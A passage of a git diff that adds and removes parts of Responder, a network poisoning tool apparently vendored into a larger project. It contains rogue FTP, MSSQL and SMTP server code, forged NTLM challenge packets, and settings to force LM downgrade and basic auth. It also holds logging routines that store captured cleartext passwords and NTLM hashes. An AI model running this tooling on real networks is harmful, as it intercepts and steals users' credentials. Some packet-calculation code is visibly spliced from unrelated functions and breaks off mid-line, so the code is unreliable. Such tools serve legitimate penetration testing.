FTPPacket(Packet): + fields = OrderedDict([ + ("Code", "220"), + ("Separator", "\x20"), + ("Message", "Welcome"), + ("Terminator", "\x0d\x0a"), + ]) + +##### SQL Packets ##### +class MSSQLPreLoginAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\x25"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\x00"), + ("VersionOffset", "\x00\x15"), + ("VersionLen", "\x00\x06"), + ("TokenType1", "\x01"), + ("EncryptionOffset", "\x00\x1b"), + ("EncryptionLen", "\x00\x01"), + ("TokenType2", "\x02"), + ("InstOptOffset", "\x00\x1c"), + ("InstOptLen", "\x00\x01"), + ("TokenTypeThrdID", "\x03"), + ("ThrdIDOffset", "\x00\x1d"), + ("ThrdIDLen", "\x00\x00"), + ("ThrdIDTerminator", "\xff"), + ("VersionStr", "\x09\x00\x0f\xc3"), + ("SubBuild", "\x00\x00"), + ("EncryptionStr", "\x02"), + ("InstOptStr", "\x00"), + ]) + + def calculate(self): + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) + VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) + EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) + InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) + ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + #Version + self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) + self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) + #Encryption + self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) + #InstOpt + self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) + #ThrdIDOffset + self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) + +class MSSQLNTLMChallengeAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\xc7"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\xed"), + ("SSPIBuffLen", "\xbc\x00"), + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + # First convert to unicode + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + + # Then calculate + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) + CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + self.fields["SSPIBuffLen"] = struct.pack("i", len(CalculatePacketLen)) + self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) + self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) + ##### Workstation Offset Calculation: + self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) + self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) + self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) + self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) + + ###### Andxoffset calculation. + CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen + self.fields["Andxoffset"] = struct.pack(". +import os +import sys +import socket +import utils +import logging +from core.configwatcher import ConfigWatcher + +__version__ = 'Responder 2.2' + +class Settings(ConfigWatcher): + + def __init__(self): + self.ResponderPATH = os.path.dirname(__file__) + self.Bind_To = '0.0.0.0' + + def __str__(self): + ret = 'Settings class:\n' + for attr in dir(self): + value = str(getattr(self, attr)).strip() + ret += " Settings.%s = %s\n" % (attr, value) + return ret + + def toBool(self, str): + return True if str.upper() == 'ON' else False + + def ExpandIPRanges(self): + def expand_ranges(lst): + ret = [] + for l in lst: + tab = l.split('.') + x = {} + i = 0 + for byte in tab: + if '-' not in byte: + x[i] = x[i+1] = int(byte) + else: + b = byte.split('-') + x[i] = int(b[0]) + x[i+1] = int(b[1]) + i += 2 + for a in range(x[0], x[1]+1): + for b in range(x[2], x[3]+1): + for c in range(x[4], x[5]+1): + for d in range(x[6], x[7]+1): + ret.append('%d.%d.%d.%d' % (a, b, c, d)) + return ret + + self.RespondTo = expand_ranges(self.RespondTo) + self.DontRespondTo = expand_ranges(self.DontRespondTo) + + def populate(self, options): + + # Servers + self.SSL_On_Off = self.toBool(self.config['Responder']['HTTPS']) + self.SQL_On_Off = self.toBool(self.config['Responder']['SQL']) + self.FTP_On_Off = self.toBool(self.config['Responder']['FTP']) + self.POP_On_Off = self.toBool(self.config['Responder']['POP']) + self.IMAP_On_Off = self.toBool(self.config['Responder']['IMAP']) + self.SMTP_On_Off = self.toBool(self.config['Responder']['SMTP']) + self.LDAP_On_Off = self.toBool(self.config['Responder']['LDAP']) + self.Krb_On_Off = self.toBool(self.config['Responder']['Kerberos']) + + # Db File + self.DatabaseFile = './logs/responder/Responder.db' + + # Log Files + self.LogDir = './logs/responder' + + if not os.path.exists(self.LogDir): + os.mkdir(self.LogDir) + + self.SessionLogFile = os.path.join(self.LogDir, 'Responder-Session.log') + self.PoisonersLogFile = os.path.join(self.LogDir, 'Poisoners-Session.log') + self.AnalyzeLogFile = os.path.join(self.LogDir, 'Analyzer-Session.log') + + self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt') + self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt') + self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') + self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') + self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') + self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') + self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') + self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') + + self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') + self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') + self.HTTPNTLMv2Log = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt') + self.KerberosLog = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt') + self.MSSQLNTLMv1Log = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt') + self.MSSQLNTLMv2Log = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt') + self.SMBNTLMv1Log = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt') + self.SMBNTLMv2Log = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt') + self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt') + self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt') + + # HTTP Options + self.Serve_Exe = self.toBool(self.config['Responder']['HTTP Server']['Serve-Exe']) + self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always']) + self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html']) + self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename'] + self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename'] + self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName'] + self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript'] + + if not os.path.exists(self.Html_Filename): + print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) + + if not os.path.exists(self.Exe_Filename): + print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) + + # SSL Options + self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey'] + self.SSLCert = self.config['Responder']['HTTPS Server']['SSLCert'] + + # Respond to hosts + self.RespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondTo'].strip().split(',')]) + self.RespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondToName'].strip().split(',')]) + self.DontRespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondTo'].strip().split(',')]) + self.DontRespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondToName'].strip().split(',')]) + + # CLI options + self.Interface = options.interface + + try: + self.LM_On_Off = options.LM_On_Off + self.WPAD_On_Off = options.WPAD_On_Off + self.Wredirect = options.Wredirect + self.NBTNSDomain = options.NBTNSDomain + self.Basic = options.Basic + self.Finger_On_Off = options.Finger + self.Force_WPAD_Auth = options.Force_WPAD_Auth + self.Upstream_Proxy = options.Upstream_Proxy + self.AnalyzeMode = options.Analyze + except AttributeError: + pass + + self.Verbose = False + self.CommandLine = str(sys.argv) + + self.Bind_To = utils.FindLocalIP(self.Interface) + + self.IP_aton = socket.inet_aton(self.Bind_To) + self.Os_version = sys.platform + + # Set up Challenge + self.NumChal = self.config['Responder']['Challenge'] + + if len(self.NumChal) is not 16: + print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) + sys.exit(-1) + + self.Challenge = "" + for i in range(0, len(self.NumChal),2): + self.Challenge += self.NumChal[i:i+2].decode("hex") + + # Set up logging + logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S') + logging.warning('Responder Started: {}'.format(self.CommandLine)) + #logging.warning('Responder Config: {}'.format(self)) + + Formatter = logging.Formatter('%(asctime)s - %(message)s') + PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w') + ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a') + PLog_Handler.setLevel(logging.INFO) + ALog_Handler.setLevel(logging.INFO) + PLog_Handler.setFormatter(Formatter) + ALog_Handler.setFormatter(Formatter) + + self.PoisonersLogger = logging.getLogger('Poisoners Log') + self.PoisonersLogger.addHandler(PLog_Handler) + + self.AnalyzeLogger = logging.getLogger('Analyze Log') + self.AnalyzeLogger.addHandler(ALog_Handler) + +global Config +Config = Settings() \ No newline at end of file diff --git a/core/responder/smtp/SMTPPackets.py b/core/responder/smtp/SMTPPackets.py deleted file mode 100644 index 0f80519..0000000 --- a/core/responder/smtp/SMTPPackets.py +++ /dev/null @@ -1,61 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -#SMTP Greating class -class SMTPGreating(Packet): - fields = OrderedDict([ - ("Code", "220"), - ("Separator", "\x20"), - ("Message", "smtp01.local ESMTP"), - ("CRLF", "\x0d\x0a"), - ]) - -class SMTPAUTH(Packet): - fields = OrderedDict([ - ("Code0", "250"), - ("Separator0", "\x2d"), - ("Message0", "smtp01.local"), - ("CRLF0", "\x0d\x0a"), - ("Code", "250"), - ("Separator", "\x20"), - ("Message", "AUTH LOGIN PLAIN XYMCOOKIE"), - ("CRLF", "\x0d\x0a"), - ]) - -class SMTPAUTH1(Packet): - fields = OrderedDict([ - ("Code", "334"), - ("Separator", "\x20"), - ("Message", "VXNlcm5hbWU6"),#Username - ("CRLF", "\x0d\x0a"), - - ]) - -class SMTPAUTH2(Packet): - fields = OrderedDict([ - ("Code", "334"), - ("Separator", "\x20"), - ("Message", "UGFzc3dvcmQ6"),#Password - ("CRLF", "\x0d\x0a"), - - ]) - - diff --git a/core/responder/smtp/SMTPserver.py b/core/responder/smtp/SMTPserver.py deleted file mode 100644 index ad246ed..0000000 --- a/core/responder/smtp/SMTPserver.py +++ /dev/null @@ -1,64 +0,0 @@ -import logging -import threading - -from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler -from base64 import b64decode -from SMTPPackets import * -from core.responder.common import * -from core.logger import logger - -formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("SMTPserver", formatter) - -class SMTPserver(): - - def serve_thread_tcp(self, port): - try: - server = ThreadingTCPServer(("0.0.0.0", port), ESMTP) - server.serve_forever() - except Exception as e: - log.error("Error starting TCP server on port {}: {}".format(port, e)) - - #Function name self-explanatory - def start(self): - log.debug("online") - t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,)) - t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,)) - - for t in [t1, t2]: - t.setDaemon(True) - t.start() - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - -#ESMTP server class. -class ESMTP(BaseRequestHandler): - - def handle(self): - try: - self.request.send(str(SMTPGreating())) - data = self.request.recv(1024) - if data[0:4] == "EHLO": - self.request.send(str(SMTPAUTH())) - data = self.request.recv(1024) - if data[0:4] == "AUTH": - self.request.send(str(SMTPAUTH1())) - data = self.request.recv(1024) - if data: - Username = b64decode(data[:len(data)-2]) - self.request.send(str(SMTPAUTH2())) - data = self.request.recv(1024) - if data: - Password = b64decode(data[:len(data)-2]) - Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt" - WriteData(Outfile,Username+":"+Password, Username+":"+Password) - #print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password) - log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password)) - - except Exception as e: - log.error("Error handling request: {}".format(e)) diff --git a/core/responder/smtp/__init__.py b/core/responder/smtp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/utils.py b/core/responder/utils.py new file mode 100644 index 0000000..1da7508 --- /dev/null +++ b/core/responder/utils.py @@ -0,0 +1,358 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import sys +import re +import logging +import socket +import time +import settings + +try: + import sqlite3 +except: + print "[!] Please install python-sqlite3 extension." + sys.exit(0) + +def color(txt, code = 1, modifier = 0): + + if txt.startswith('[*]'): + settings.Config.PoisonersLogger.warning(txt) + + elif 'Analyze' in txt: + settings.Config.AnalyzeLogger.warning(txt) + + # No colors for windows... + if os.name == 'nt': + return txt + + return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) + +def text(txt): + logging.info(txt) + + if os.name == 'nt': + return txt + + return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) + +def RespondToThisIP(ClientIp): + + if ClientIp.startswith('127.0.0.'): + return False + + if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo: + return False + + if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []: + if ClientIp not in settings.Config.DontRespondTo: + return True + + return False + +def RespondToThisName(Name): + + if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName: + return False + + if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: + if Name.upper() not in settings.Config.DontRespondToName: + return True + + return False + +def RespondToThisHost(ClientIp, Name): + return (RespondToThisIP(ClientIp) and RespondToThisName(Name)) + +def IsOsX(): + return True if settings.Config.Os_version == "darwin" else False + +def OsInterfaceIsSupported(): + if settings.Config.Interface != "Not set": + return False if IsOsX() else True + else: + return False + +def FindLocalIP(Iface): + + if Iface == 'ALL': + return '0.0.0.0' + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') + s.connect(("127.0.0.1",9))#RFC 863 + ret = s.getsockname()[0] + s.close() + + return ret + + except socket.error: + print color("[!] Error: %s: Interface not found" % Iface, 1) + sys.exit(-1) + +# Function used to write captured hashs to a file. +def WriteData(outfile, data, user): + + logging.info("[*] Captured Hash: %s" % data) + + if os.path.isfile(outfile) == False: + with open(outfile,"w") as outf: + outf.write(data) + outf.write("\n") + outf.close() + + else: + with open(outfile,"r") as filestr: + if re.search(user.encode('hex'), filestr.read().encode('hex')): + filestr.close() + return False + if re.search(re.escape("$"), user): + filestr.close() + return False + + with open(outfile,"a") as outf2: + outf2.write(data) + outf2.write("\n") + outf2.close() + +def SaveToDb(result): + + # Creating the DB if it doesn't exist + if not os.path.exists(settings.Config.DatabaseFile): + cursor = sqlite3.connect(settings.Config.DatabaseFile) + cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))') + cursor.commit() + cursor.close() + + for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: + if not k in result: + result[k] = '' + + if len(result['user']) < 2: + return + + if len(result['cleartext']): + fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client']) + else: + fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client']) + + timestamp = time.strftime("%d-%m-%Y %H:%M:%S") + logfile = os.path.join('./logs/responder', fname) + + cursor = sqlite3.connect(settings.Config.DatabaseFile) + res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user'])) + (count,) = res.fetchone() + + if count == 0: + + # Write JtR-style hash string to file + with open(logfile,"a") as outf: + outf.write(result['fullhash']) + outf.write("\n") + outf.close() + + # Update database + cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) + cursor.commit() + + cursor.close() + + # Print output + if count == 0 or settings.Config.Verbose: + + if len(result['client']): + print text("[%s] %s Client : %s" % (result['module'], result['type'], color(result['client'], 3))) + if len(result['hostname']): + print text("[%s] %s Hostname : %s" % (result['module'], result['type'], color(result['hostname'], 3))) + if len(result['user']): + print text("[%s] %s Username : %s" % (result['module'], result['type'], color(result['user'], 3))) + + # Bu order of priority, print cleartext, fullhash, or hash + if len(result['cleartext']): + print text("[%s] %s Password : %s" % (result['module'], result['type'], color(result['cleartext'], 3))) + elif len(result['fullhash']): + print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['fullhash'], 3))) + elif len(result['hash']): + print text("[%s] %s Hash : %s" % (result['module'], result['type'], color(result['hash'], 3))) + + else: + print color('[*]', 2, 1), 'Skipping previously captured hash for %s' % result['user'] + + +def Parse_IPV6_Addr(data): + + if data[len(data)-4:len(data)][1] =="\x1c": + return False + + elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": + return True + + elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": + return True + + else: + return False + +def Decode_Name(nbname): + #From http://code.google.com/p/dpkt/ with author's permission. + try: + from string import printable + + if len(nbname) != 32: + return nbname + + l = [] + for i in range(0, 32, 2): + l.append(chr(((ord(nbname[i]) - 0x41) << 4) | ((ord(nbname[i+1]) - 0x41) & 0xf))) + + return filter(lambda x: x in printable, ''.join(l).split('\x00', 1)[0].replace(' ', '')) + + except: + return "Illegal NetBIOS name" + +def NBT_NS_Role(data): + Role = { + "\x41\x41\x00":"Workstation/Redirector", + "\x42\x4c\x00":"Domain Master Browser", + "\x42\x4d\x00":"Domain Controller", + "\x42\x4e\x00":"Local Master Browser", + "\x42\x4f\x00":"Browser Election", + "\x43\x41\x00":"File Server", + "\x41\x42\x00":"Browser", + } + + return Role[data] if data in Role else "Service not known" + +def banner(): + + banner = "\n".join([ + ' __', + ' .----.-----.-----.-----.-----.-----.--| |.-----.----.', + ' | _| -__|__ --| _ | _ | | _ || -__| _|', + ' |__| |_____|_____| __|_____|__|__|_____||_____|__|', + ' |__|' + ]) + + print banner + print "\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__ + print "" + print " Original work by Laurent Gaffie (lgaffie@trustwave.com)" + print " To kill this script hit CRTL-C" + print "" + +def StartupMessage(): + enabled = color('[ON]', 2, 1) + disabled = color('[OFF]', 1, 1) + + print "" + print color("[+] ", 2, 1) + "Poisoners:" + print ' %-27s' % "LLMNR" + enabled + print ' %-27s' % "NBT-NS" + enabled + print ' %-27s' % "DNS/MDNS" + enabled + print "" + + print color("[+] ", 2, 1) + "Servers:" + print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) + print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) + print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) + print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) + print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) + print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) + print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) + print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) + print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) + print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) + print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) + print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) + print "" + + print color("[+] ", 2, 1) + "HTTP Options:" + print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) + print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) + print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) + print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) + #print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script + print "" + + print color("[+] ", 2, 1) + "Poisoning Options:" + print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) + print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) + print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) + print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else 